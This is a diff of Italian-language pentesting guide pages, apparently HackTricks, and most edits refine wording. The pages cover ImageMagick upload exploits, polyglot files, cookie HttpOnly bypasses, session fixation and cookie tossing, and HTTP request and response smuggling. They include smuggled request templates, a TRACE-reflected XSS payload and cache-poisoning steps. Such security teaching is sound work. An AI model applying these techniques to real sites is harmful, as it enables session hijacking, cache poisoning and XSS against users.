+Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
@@ -298,9 +298,9 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
 
 I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
 
-L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La pratica comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
+L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
 
-Nonostante la loro adattabilità, i poliglotti incontrano limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
+Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
 
 Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 

src/pentesting-web/hacking-with-cookies/README.md

@@ -54,14 +54,14 @@ Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza
 
 ### HttpOnly
 
-Questo evita che il **client** acceda al cookie (ad esempio tramite **Javascript**: `document.cookie`)
+Questo impedisce al **client** di accedere al cookie (ad esempio tramite **Javascript**: `document.cookie`)
 
 #### **Bypasses**
 
 - Se la pagina **invia i cookie come risposta** a una richiesta (ad esempio in una pagina **PHPinfo**), è possibile abusare dell'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
 - Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
 - Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come inviare `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
-- Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
+- Un altro modo è lo sfruttamento di vulnerabilità zero-day dei browser.
 - È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
 
 {{#ref}}
@@ -111,9 +111,9 @@ Questo attacco comporta il furto del cookie di un utente per ottenere accesso no
 
 ### Session Fixation
 
-In questo scenario, un attaccante inganna una vittima inducendola a utilizzare un cookie specifico per accedere. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima accede con un cookie fornito dall'attaccante.
+In questo scenario, un attaccante inganna una vittima a utilizzare un cookie specifico per accedere. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima accede con un cookie fornito dall'attaccante.
 
-Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
+Se hai trovato un **XSS in un sottodominio** o controlli un sottodominio, leggi:
 
 {{#ref}}
 cookie-tossing.md
@@ -123,7 +123,7 @@ cookie-tossing.md
 
 Qui, l'attaccante convince la vittima a utilizzare il cookie di sessione dell'attaccante. La vittima, credendo di essere connessa al proprio account, eseguirà involontariamente azioni nel contesto dell'account dell'attaccante.
 
-Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi:
+Se hai trovato un **XSS in un sottodominio** o controlli un sottodominio, leggi:
 
 {{#ref}}
 cookie-tossing.md
@@ -187,7 +187,7 @@ Secondo [**questo blogpost**](https://portswigger.net/research/bypassing-wafs-wi
 
 #### Analisi del bypass dei valori con codifica di stringhe tra virgolette
 
-Questa analisi indica di disattivare l'escape dei valori all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per eludere i WAFS poiché:
+Questa analisi indica di disattivare l'escape dei valori all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAFS poiché:
 
 - `eval('test') => forbidden`
 - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
@@ -198,7 +198,7 @@ Nell'RFC2109 è indicato che una **virgola può essere utilizzata come separator
 
 #### Analisi del bypass dei valori con la suddivisione dei cookie
 
-Infine, diverse backdoor si unirebbero in una stringa diversi cookie passati in intestazioni di cookie diverse come in: 
+Infine, diverse backdoor si unirebbero in una stringa diversi cookie passati in intestazioni di cookie differenti come in: 
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -230,7 +230,7 @@ Se il cookie rimane lo stesso (o quasi) quando accedi, questo probabilmente sign
 
 - Provare a creare molti **account** con nomi utente molto **simili** e cercare di **indovinare** come funziona l'algoritmo.
 - Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
-- Prova **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**.
+- Prova **Padding** **Oracle** (puoi decriptare il contenuto del cookie). Usa **padbuster**.
 
 **Padding Oracle - Esempi di Padbuster**
 ```bash

src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-I browser hanno un **limite sul numero di cookie** che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di **far scomparire un cookie**, puoi **sovraccaricare il barattolo dei cookie** poiché i più vecchi verranno eliminati prima:
+I browser hanno un **limite sul numero di cookie** che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di **far scomparire un cookie**, puoi **sovraccaricare il barattolo dei cookie** poiché i più vecchi verranno eliminati per primi:
 ```javascript
 // Set many cookies
 for (let i = 0; i < 700; i++) {

src/pentesting-web/hacking-with-cookies/cookie-tossing.md

@@ -21,14 +21,14 @@ Questo può essere pericoloso poiché l'attaccante potrebbe essere in grado di:
 
 ### Ordine dei Cookie
 
-Quando un browser riceve due cookie con lo stesso nome **che influiscono parzialmente sullo stesso ambito** (dominio, sottodomini e percorso), il **browser invierà entrambi i valori del cookie** quando entrambi sono validi per la richiesta.
+Quando un browser riceve due cookie con lo stesso nome **che influenzano parzialmente lo stesso ambito** (dominio, sottodomini e percorso), il **browser invierà entrambi i valori del cookie** quando entrambi sono validi per la richiesta.
 
 A seconda di chi ha **il percorso più specifico** o quale sia il **più vecchio**, il browser **imposterà prima il valore del cookie** e poi il valore dell'altro come in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
 
 La maggior parte **dei siti web utilizzerà solo il primo valore**. Quindi, se un attaccante vuole impostare un cookie, è meglio impostarlo prima che un altro venga impostato o impostarlo con un percorso più specifico.
 
 > [!WARNING]
-> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico in cui il cookie malevolo impostato verrà inviato prima**.
+> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico dove il cookie malevolo impostato verrà inviato prima**.
 
 ### Bypass della Protezione
 
@@ -40,7 +40,7 @@ Per bypassare lo scenario in cui l'attaccante sta impostando un cookie dopo che
 cookie-jar-overflow.md
 {{#endref}}
 
-Un altro utile **bypass** potrebbe essere **URL encode il nome del cookie** poiché alcune protezioni controllano 2 cookie con lo stesso nome in una richiesta e poi il server decodificherà i nomi dei cookie.
+Un altro utile **bypass** potrebbe essere **URL codificare il nome del cookie** poiché alcune protezioni controllano 2 cookie con lo stesso nome in una richiesta e poi il server decodificherà i nomi dei cookie.
 
 ### Cookie Bomb
 

src/pentesting-web/http-connection-request-smuggling.md

@@ -8,7 +8,7 @@
 
 ### Validazione della Prima Richiesta
 
-Quando si instradano le richieste, i proxy inversi potrebbero dipendere dall'**intestazione Host** per determinare il server back-end di destinazione, spesso facendo affidamento su una lista bianca di host autorizzati. Tuttavia, esiste una vulnerabilità in alcuni proxy in cui la lista bianca è applicata solo alla richiesta iniziale in una connessione. Di conseguenza, gli attaccanti potrebbero sfruttare questo facendo prima una richiesta a un host consentito e poi richiedendo un sito interno attraverso la stessa connessione:
+Quando si instradano le richieste, i proxy inversi potrebbero dipendere dall'**intestazione Host** per determinare il server back-end di destinazione, spesso facendo affidamento su una lista bianca di host che sono autorizzati ad accedere. Tuttavia, esiste una vulnerabilità in alcuni proxy in cui la lista bianca è applicata solo alla richiesta iniziale in una connessione. Di conseguenza, gli attaccanti potrebbero sfruttare questo facendo prima una richiesta a un host consentito e poi richiedendo un sito interno attraverso la stessa connessione:
 ```
 GET / HTTP/1.1
 Host: [allowed-external-host]
@@ -18,7 +18,7 @@ Host: [internal-host]
 ```
 ### First-request Routing
 
-In alcune configurazioni, un server front-end può utilizzare il **Host header della prima richiesta** per determinare il routing back-end per quella richiesta e poi instradare in modo persistente tutte le richieste successive dalla stessa connessione client alla stessa connessione back-end. Questo può essere dimostrato come:
+In alcune configurazioni, un server front-end può utilizzare il **Host header della prima richiesta** per determinare il routing back-end per quella richiesta e poi instradare in modo persistente tutte le richieste successive dallo stesso client sulla stessa connessione back-end. Questo può essere dimostrato come:
 ```
 GET / HTTP/1.1
 Host: example.com

src/pentesting-web/http-request-smuggling/README.md

@@ -25,7 +25,7 @@ Questo consente a un utente di **modificare la prossima richiesta che arriva al
 ### Realtà
 
 Il **Front-End** (un bilanciatore di carico / Reverse Proxy) **elabora** l'header _**content-length**_ o l'header _**transfer-encoding**_ e il server **Back-end** **elabora l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
-Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
+Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **richiesta reale** di quel client sarà **parte** della **richiesta iniettata**.
 
 ### Particolarità
 
@@ -40,7 +40,7 @@ Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**
 > [!TIP]
 > Quando si cerca di sfruttare questo con Burp Suite **disabilitare `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
 
-Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi.
+Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano le intestazioni `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a queste intestazioni. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi.
 
 ### Esempi di Base dei Tipi di Vulnerabilità
 
@@ -53,7 +53,7 @@ Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue ch
 
 - **Front-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
 - **Back-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
-- **Scenario di Attacco:**
+- **Scenario di attacco:**
 
 - L'attaccante invia una richiesta in cui il valore dell'intestazione `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
 - Il server front-end inoltra l'intera richiesta al back-end, basandosi sul valore di `Content-Length`.
@@ -77,7 +77,7 @@ Foo: x
 
 - **Front-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
 - **Back-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
-- **Scenario di Attacco:**
+- **Scenario di attacco:**
 
 - L'attaccante invia una richiesta chunked in cui la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non si allineano.
 - Il server front-end, rispettando `Transfer-Encoding`, inoltra l'intera richiesta al back-end.
@@ -105,7 +105,7 @@ x=
 #### Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con offuscamento)
 
 - **Server:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato a ignorarlo tramite offuscamento.
-- **Scenario di Attacco:**
+- **Scenario di attacco:**
 
 - L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` offuscate.
 - A seconda di quale server (front-end o back-end) non riesce a riconoscere l'offuscamento, può essere sfruttata una vulnerabilità CL.TE o TE.CL.
@@ -163,7 +163,7 @@ Corpo Non Vuoto
 
 - Come il precedente ma utilizzando TE.
 - Tecnica [riportata qui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- **Esempio**:
+- **Esempio:**
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@@ -258,9 +258,9 @@ X
 - Invia versioni leggermente variate di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di parsing.
 - **Utilizzo di Strumenti Automatizzati:**
 - Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
-- **Test di Variazione del Content-Length:**
+- **Test di Variazione di Content-Length:**
 - Invia richieste con valori di `Content-Length` variabili che non sono allineati con la lunghezza effettiva del contenuto e osserva come il server gestisce tali discrepanze.
-- **Test di Variazione del Transfer-Encoding:**
+- **Test di Variazione di Transfer-Encoding:**
 - Invia richieste con header `Transfer-Encoding` offuscati o malformati e monitora come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.
 
 ### Test di Vulnerabilità di HTTP Request Smuggling
@@ -326,7 +326,7 @@ Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfe
 
 Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica comporta l'aggiunta di intestazioni, come `X-Forwarded-For: <IP del client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**.
 
-Per indagare su come un proxy altera una richiesta, individua un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
+Per indagare su come un proxy altera una richiesta, trova un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -424,7 +424,7 @@ Manipolando il `User-Agent` tramite smuggling, il payload elude i normali vincol
 
 La versione HTTP/0.9 era precedente alla 1.0 e utilizza solo verbi **GET** e **non** risponde con **intestazioni**, solo il corpo.
 
-In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.
+In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** in modo che la risposta contenga codice JS eseguibile valido con un `Content-Type` di `text/html`.
 
 ### Sfruttare i reindirizzamenti in loco con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
@@ -452,7 +452,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Questa richiesta di smuggling potrebbe causare la reindirizzazione della prossima richiesta utente elaborata a un sito web controllato dall'attaccante:
+Questa richiesta di smuggling potrebbe causare la successiva richiesta dell'utente elaborata di essere reindirizzata a un sito web controllato dall'attaccante:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -472,7 +472,7 @@ Il web cache poisoning può essere eseguito se qualsiasi componente dell'**infra
 
 In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento a [Esempi di Base](./#basic-examples)). Allo stesso modo, è possibile ingannare il server per consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).
 
-Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
+Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
 
 Di seguito è riportata un'illustrazione di sfruttare **l'avvelenamento della cache combinato con un reindirizzamento in loco a un open redirect**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
 ```
@@ -498,14 +498,14 @@ Dopo un **avvelenamento del socket** riuscito, dovrebbe essere avviata una **ric
 
 Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, avviando efficacemente un ampio attacco XSS.
 
-### Utilizzare l'HTTP request smuggling per eseguire la web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Utilizzare l'hacking delle richieste HTTP per eseguire la deception della cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **Qual è la differenza tra avvelenamento della cache web e inganno della cache web?**
+> **Qual è la differenza tra avvelenamento della cache web e deception della cache web?**
 >
 > - Nell'**avvelenamento della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - Nell'**inganno della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
+> - Nella **deception della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
 
-L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
+L'attaccante crea una richiesta di contrabbando che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -516,7 +516,7 @@ L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specif
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
+Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
 
 ### Abusare di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
@@ -537,13 +537,13 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che rifletterà i dati inviati.\
+Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che sarà **riflettente i dati inviati**.\
 Poiché la risposta HEAD conterrà un'intestazione `Content-Length`, la **risposta della richiesta TRACE sarà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta.\
-Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio per iniettare codice JS arbitrario**.
+Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio, per iniettare codice JS arbitrario**.
 
 ### Abusare di TRACE tramite HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Continuare seguendo [**questo post**](https://portswigger.net/research/trace-desync-attack) è suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
+Continuando a seguire [**questo post**](https://portswigger.net/research/trace-desync-attack) viene suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
 
 Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile far sì che la risposta TRACE contenga una risposta HTTP valida dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).
 

src/pentesting-web/http-response-smuggling-desync.md

@@ -10,7 +10,7 @@ Prima di tutto, questa tecnica **sfrutta una vulnerabilità di HTTP Request Smug
 
 La **principale** **differenza** tra questa tecnica e un comune HTTP Request smuggling è che **invece** di **attaccare** la **richiesta** della **vittima** **aggiungendo un prefisso**, andremo a **leakare o modificare la risposta che la vittima riceve**. Questo avviene, invece di inviare 1 richiesta e mezza per sfruttare l'HTTP Request smuggling, **inviando 2 richieste complete per desincronizzare la coda delle risposte dei proxy**.
 
-Questo perché saremo in grado di **desincronizzare la coda delle risposte** in modo che la **risposta** della **richiesta** **legittima** della **vittima venga inviata all'attaccante**, o **iniettando contenuti controllati dall'attaccente nella risposta alla vittima**.
+Questo perché saremo in grado di **desincronizzare la coda delle risposte** in modo che la **risposta** della **richiesta** **legittima** della **vittima venga inviata all'attaccante**, o **iniettando contenuti controllati dall'attaccante nella risposta alla vittima**.
 
 ### Desync della Pipeline HTTP
 
@@ -40,7 +40,7 @@ Oltre a poter **distribuire più facilmente decine di exploit** tra utenti legit
 
 Come spiegato in precedenza, per sfruttare questa tecnica, è necessario che il **primo messaggio smuggled** nel server **richieda molto tempo per essere elaborato**.
 
-Questa **richiesta che richiede tempo è sufficiente** se vogliamo solo **provare a rubare la risposta della vittima.** Ma se vuoi eseguire un exploit più complesso, questa sarà una struttura comune per l'exploit.
+Questa **richiesta che richiede tempo è sufficiente** se vogliamo solo **cercare di rubare la risposta della vittima.** Ma se vuoi eseguire un exploit più complesso, questa sarà una struttura comune per l'exploit.
 
 Prima di tutto la **richiesta iniziale** che sfrutta **HTTP** **Request** **smuggling**, poi la **richiesta che richiede tempo** e infine **1 o più richieste payload** le cui risposte verranno inviate alle vittime.
 
@@ -64,7 +64,7 @@ Poi, la **vittima** riceverà la **risposta alla richiesta sonnacchiosa** e se n
 
 Fino a questo punto, abbiamo imparato come sfruttare gli attacchi di HTTP Request Smuggling per **controllare** la **richiesta** **la cui** **risposta** un **client** riceverà e come puoi poi **rubare la risposta che era destinata alla vittima**.
 
-Ma è ancora possibile **desincronizzare ancora** di più le risposte.
+Ma è ancora possibile **desincronizzare ancora di più** le risposte.
 
 Ci sono richieste interessanti come la **richiesta HEAD** che sono specificate per non avere **alcun contenuto all'interno del corpo delle risposte** e che dovrebbero (devono) **contenere il Content-Length** della richiesta come **se fosse una richiesta GET**.
 
@@ -82,13 +82,13 @@ Poi, la **vittima** riceverà la **risposta** dalla **richiesta HEAD**, che **co
 
 ### Confusione del Contenuto
 
-Seguendo l'esempio precedente, sapendo che puoi **controllare il corpo** della richiesta la cui risposta riceverà la vittima e che una **risposta HEAD** di solito contiene nelle sue intestazioni il **Content-Type e il Content-Length**, puoi **inviare una richiesta come la seguente** per **causare XSS** nella vittima senza che la pagina sia vulnerabile a XSS:
+Seguendo l'esempio precedente, sapendo che puoi **controllare il corpo** della richiesta la cui risposta riceverà la vittima e che una **risposta HEAD** **contiene solitamente nelle sue intestazioni il **Content-Type e il Content-Length**, puoi **inviare una richiesta come la seguente** per **causare XSS** nella vittima senza che la pagina sia vulnerabile a XSS:
 
 ![](<../images/image (688).png>)
 
 ### Avvelenamento della Cache
 
-Sfruttando l'attacco di Confusione del Contenuto precedentemente commentato, **se la cache memorizza la risposta alla richiesta eseguita dalla vittima e questa risposta è una iniettata che causa un XSS, allora la cache è avvelenata**.
+Sfruttando l'attacco di Confusione del Contenuto sulla desincronizzazione della risposta precedentemente commentata, **se la cache memorizza la risposta alla richiesta eseguita dalla vittima e questa risposta è una iniettata che causa un XSS, allora la cache è avvelenata**.
 
 Richiesta malevola contenente il payload XSS:
 
@@ -99,7 +99,7 @@ Risposta malevola alla vittima che contiene l'intestazione che indica alla cache
 ![](<../images/image (566).png>)
 
 > [!WARNING]
-> Nota che in questo caso se la **"vittima" è l'attaccante** può ora eseguire **avvelenamento della cache in URL arbitrari** poiché può **controllare l'URL che verrà memorizzato** con la risposta malevola.
+> Nota che in questo caso se la **"vittima" è l'attaccante** può ora eseguire **cache poisoning in URL arbitrari** poiché può **controllare l'URL che verrà memorizzato** con la risposta malevola.
 
 ### Inganno della Cache Web
 
@@ -111,7 +111,7 @@ Questo attacco è simile al precedente, ma **invece di iniettare un payload all'
 
 Il **goal** di questo attacco è sfruttare nuovamente la **desincronizzazione** della **risposta** per **far sì che il proxy invii una risposta generata al 100% dall'attaccante**.
 
-Per raggiungere questo obiettivo, l'attaccante deve trovare un endpoint dell'applicazione web che **riflette alcuni valori all'interno della risposta** e **conoscere il content length della risposta HEAD**.
+Per raggiungere questo obiettivo, l'attaccante deve trovare un endpoint dell'applicazione web che **riflette alcuni valori all'interno della risposta** e **conoscere la lunghezza del contenuto della risposta HEAD**.
 
 Invierà un **exploit** come:
 
